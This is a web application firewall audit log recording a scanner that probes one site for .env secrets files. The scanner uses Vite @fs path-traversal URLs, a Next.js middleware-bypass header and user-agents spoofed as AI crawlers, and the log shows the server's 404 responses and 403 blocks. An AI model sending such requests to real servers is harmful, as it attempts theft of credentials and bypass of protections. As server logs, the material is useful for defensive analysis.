X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--afff122b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--afff122b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/uploads../.env"] [unique_id "aqZoO2M7dE9KgIIOpQh0AwAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555838890 188653 (- - -)
Stopwatch2: 1789290555838890 188653; combined=4499, p1=241, p2=4207, p3=0, p4=0, p5=51, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--afff122b-Z--
--d5e08b69-A--
[13/Sep/2026:12:09:16.298671 +0300] aqZoPDTJ6xTvcJoem7f6bgAAAFY 34.73.246.242 56030 127.0.0.1 7081
--d5e08b69-B--
GET /@fs/var/task/.env?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d5e08b69-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d5e08b69-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/var/task/.env"] [unique_id "aqZoPDTJ6xTvcJoem7f6bgAAAFY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290556196049 102684 (- - -)
Stopwatch2: 1789290556196049 102684; combined=4793, p1=228, p2=4489, p3=0, p4=0, p5=76, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d5e08b69-Z--
--e35d442c-A--
[13/Sep/2026:12:09:16.317166 +0300] aqZoPCsVWymXUono-eRUxAAAAA8 34.73.246.242 56022 127.0.0.1 7081
--e35d442c-B--
GET /@fs/proc/self/cwd/.env?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e35d442c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e35d442c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "aqZoPCsVWymXUono-eRUxAAAAA8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290556163514 153732 (- - -)
Stopwatch2: 1789290556163514 153732; combined=10644, p1=402, p2=10191, p3=0, p4=0, p5=51, sr=153, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e35d442c-Z--
--0e2c962a-A--
[13/Sep/2026:12:09:16.584729 +0300] aqZoPGM7dE9KgIIOpQh0BwAAANg 34.73.246.242 56076 127.0.0.1 7081
--0e2c962a-B--
GET /@fs/.env?url&raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0e2c962a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0e2c962a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:url&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:url&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/.env"] [unique_id "aqZoPGM7dE9KgIIOpQh0BwAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290556511427 73361 (- - -)
Stopwatch2: 1789290556511427 73361; combined=3871, p1=308, p2=3518, p3=0, p4=0, p5=44, sr=172, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0e2c962a-Z--
--03426f1b-A--
[13/Sep/2026:12:09:16.668950 +0300] aqZoPDTJ6xTvcJoem7f6bwAAAE8 34.73.246.242 56096 127.0.0.1 7081
--03426f1b-B--
GET /@fs/.env?import&?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--03426f1b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--03426f1b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&?raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&?raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/.env"] [unique_id "aqZoPDTJ6xTvcJoem7f6bwAAAE8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290556581744 87280 (- - -)
Stopwatch2: 1789290556581744 87280; combined=3664, p1=252, p2=3361, p3=0, p4=0, p5=51, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--03426f1b-Z--
--9015fe3b-A--
[13/Sep/2026:12:09:16.676943 +0300] aqZoPCsVWymXUono-eRUxQAAABI 34.73.246.242 56112 127.0.0.1 7081
--9015fe3b-B--
GET /@fs/.env?raw&url?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9015fe3b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9015fe3b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/.env"] [unique_id "aqZoPCsVWymXUono-eRUxQAAABI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290556601709 75296 (- - -)
Stopwatch2: 1789290556601709 75296; combined=4009, p1=248, p2=3708, p3=0, p4=0, p5=53, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9015fe3b-Z--
--e6716a0a-A--
[13/Sep/2026:12:09:18.030421 +0300] aqZoPWM7dE9KgIIOpQh0EgAAANQ 34.73.246.242 56270 127.0.0.1 7081
--e6716a0a-B--
GET /.env?import&url&inline HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e6716a0a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e6716a0a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoPWM7dE9KgIIOpQh0EgAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290557930733 99762 (- - -)
Stopwatch2: 1789290557930733 99762; combined=3879, p1=238, p2=3592, p3=0, p4=0, p5=49, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e6716a0a-Z--
--0c53fe11-A--
[13/Sep/2026:12:09:18.031325 +0300] aqZoPWM7dE9KgIIOpQh0EAAAAMQ 34.73.246.242 56260 127.0.0.1 7081
--0c53fe11-B--
GET /.env?raw HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0c53fe11-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0c53fe11-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoPWM7dE9KgIIOpQh0EAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290557862051 169348 (- - -)
Stopwatch2: 1789290557862051 169348; combined=3321, p1=209, p2=3067, p3=0, p4=0, p5=44, sr=81, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0c53fe11-Z--
--1eae1374-A--
[13/Sep/2026:12:09:18.040116 +0300] aqZoPWM7dE9KgIIOpQh0EQAAANc 34.73.246.242 56264 127.0.0.1 7081
--1eae1374-B--
GET /.env?import&raw HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--1eae1374-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1eae1374-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoPWM7dE9KgIIOpQh0EQAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290557901082 139132 (- - -)
Stopwatch2: 1789290557901082 139132; combined=3346, p1=250, p2=3044, p3=0, p4=0, p5=52, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1eae1374-Z--
--d9fb2a54-A--
[13/Sep/2026:12:09:18.080365 +0300] aqZoPmM7dE9KgIIOpQh0EwAAANE 34.73.246.242 56284 127.0.0.1 7081
--d9fb2a54-B--
GET /.env.local?raw HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d9fb2a54-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d9fb2a54-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:raw=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoPmM7dE9KgIIOpQh0EwAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoPmM7dE9KgIIOpQh0EwAAANE"]
Action: Intercepted (phase 2)
Stopwatch: 1789290558021155 59270 (- - -)
Stopwatch2: 1789290558021155 59270; combined=55273, p1=785, p2=54157, p3=0, p4=0, p5=331, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d9fb2a54-Z--
--140d4341-A--
[13/Sep/2026:12:09:18.128484 +0300] aqZoPkwu1RSkptiiNIX4GAAAAJI 34.73.246.242 56288 127.0.0.1 7081
--140d4341-B--
GET /.env.local?import&raw HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--140d4341-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--140d4341-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:import=&raw=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoPkwu1RSkptiiNIX4GAAAAJI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoPkwu1RSkptiiNIX4GAAAAJI"]
Action: Intercepted (phase 2)
Stopwatch: 1789290558073536 55005 (- - -)
Stopwatch2: 1789290558073536 55005; combined=53732, p1=254, p2=53104, p3=0, p4=0, p5=374, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--140d4341-Z--
--ef69ca48-A--
[13/Sep/2026:12:09:18.484307 +0300] aqZoPkwu1RSkptiiNIX4GgAAAIw 34.73.246.242 56340 127.0.0.1 7081
--ef69ca48-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
